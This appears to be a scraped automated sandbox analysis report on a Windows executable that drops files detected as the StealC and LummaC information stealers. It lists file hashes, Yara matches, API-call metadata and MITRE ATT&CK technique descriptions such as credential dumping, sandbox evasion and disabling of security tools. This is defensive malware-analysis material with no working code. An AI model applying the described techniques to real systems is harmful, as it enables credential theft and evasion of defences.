2024-12-19 07:40:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:40:17
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\Y41xQGmT37.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Y41xQGmT37.exe"
Imagebase:	0xb40000
File size:	1'838'592 bytes
MD5 hash:	FFD3E08783983AA539D8056C4A45755A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:43:45
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe"
Imagebase:	0x50000
File size:	1'719'808 bytes
MD5 hash:	44C034B1AD003CD71788ED1DDE918242
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:43:54
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe"
Imagebase:	0x350000
File size:	2'856'960 bytes
MD5 hash:	54FDA3AEEC860324D9E721BF82B9B350
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.1687877446.0000000000351000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.1689307962.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.1627002397.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	22.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	0

Executed Functions

Function 04DD0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04DD0DCD

Memory Dump Source

Source File: 00000009.00000002.1662570037.0000000004DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4dd0000_RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: ba3eea9ae0117c817c9325ac7fa5fd5a69dab6835a6cda8b1bf2b182259ea57c
Instruction ID: ec0bedb2932cf31549d01edd102a4ceda2ff3a5f172738fb61fa4282e6265f11
Opcode Fuzzy Hash: ba3eea9ae0117c817c9325ac7fa5fd5a69dab6835a6cda8b1bf2b182259ea57c
Instruction Fuzzy Hash: B02118B6C012199FCB11CF99D885BDEFBF4FB88310F14811AD909AB244D734A545CFA5

Function 04DD0D41 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04DD0DCD

Memory Dump Source

Source File: 00000009.00000002.1662570037.0000000004DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4dd0000_RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 8cb6d0d4559a85a41ab7bb286f7150f7d14b6727910aef53206bcc25b801c77a
Instruction ID: bbdffa1b8ab2711b172bf796fde37cf029f7c379aa80754ed705aec845a31746
Opcode Fuzzy Hash: 8cb6d0d4559a85a41ab7bb286f7150f7d14b6727910aef53206bcc25b801c77a
Instruction Fuzzy Hash: 2A2138B6C002098FDB15CF99D4857DEFBF1FB88310F14821AD909AB244C734A545CFA4

Function 04DD1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04DD1580

Memory Dump Source

Source File: 00000009.00000002.1662570037.0000000004DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4dd0000_RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: c2797c2617d9827458b6bf2dc430a930e73bb47516949803235c9d92c9d29040
Instruction ID: fa0118a269877c174db1d296352e1f298053af41429ed6817f9750958e41d5ac
Opcode Fuzzy Hash: c2797c2617d9827458b6bf2dc430a930e73bb47516949803235c9d92c9d29040
Instruction Fuzzy Hash: 8D11E4B5D003499FDB20CF9AC585BDEFBF4EB48320F508029E959A3250D778AA45CFA5

Function 04DD1509 Relevance: 1.6, APIs: 1, Instructions: 51
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04DD1580

Memory Dump Source

Source File: 00000009.00000002.1662570037.0000000004DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4dd0000_RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 9355a178f05d34c24ad37257e25fe8b62c45f1be4d9ed934076023dd322a1100
Instruction ID: 68a515452c1a105dff33c31748cfd95ced8d3365fc620db341d81a752cf6ce6f
Opcode Fuzzy Hash: 9355a178f05d34c24ad37257e25fe8b62c45f1be4d9ed934076023dd322a1100
Instruction Fuzzy Hash: D71103B6D003098FDB10CF9AC545BDEFBF0EB48320F108029E919A3250C778AA45CFA5

Function 04DD1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04DD1367

Memory Dump Source

Source File: 00000009.00000002.1662570037.0000000004DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4dd0000_RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: ad9430ce65de260ff64787babfe8fee7fea1146d7e6c22b1ee6bfcab198a6a6e
Instruction ID: 760a2e0c7036a2e95ea2457b4ddd2eb5855c1205bd4b87e89cf6829681d9d580
Opcode Fuzzy Hash: ad9430ce65de260ff64787babfe8fee7fea1146d7e6c22b1ee6bfcab198a6a6e
Instruction Fuzzy Hash: 311128B1800249CFDB10CF9AD585BDEBBF4EF48324F148429D558A3250C779A945CFA1

Function 04DD1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04DD1367

Memory Dump Source

Source File: 00000009.00000002.1662570037.0000000004DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4dd0000_RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 619c855d85e58cb614e36b547ef16bb5af1da418c2ec353449e9e349fbd0b8ba
Instruction ID: 88eac7e64c88c426abb78cfa1e6f31eaccf633bbc99b44c0cf4260b7a5626444
Opcode Fuzzy Hash: 619c855d85e58cb614e36b547ef16bb5af1da418c2ec353449e9e349fbd0b8ba
Instruction Fuzzy Hash: 021136B1800349CFDB20CF9AC445BDEFBF4EB48320F10842AE558A3240C778A944CFA5

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Y41xQGmT37.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe.log

C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe

C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Windows Analysis Report
Y41xQGmT37.exe

Function 04DD0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04DD0D41 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Function 04DD1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 04DD1509 Relevance: 1.6, APIs: 1, Instructions: 51
serviceCOMMON

Function 04DD1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 04DD1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre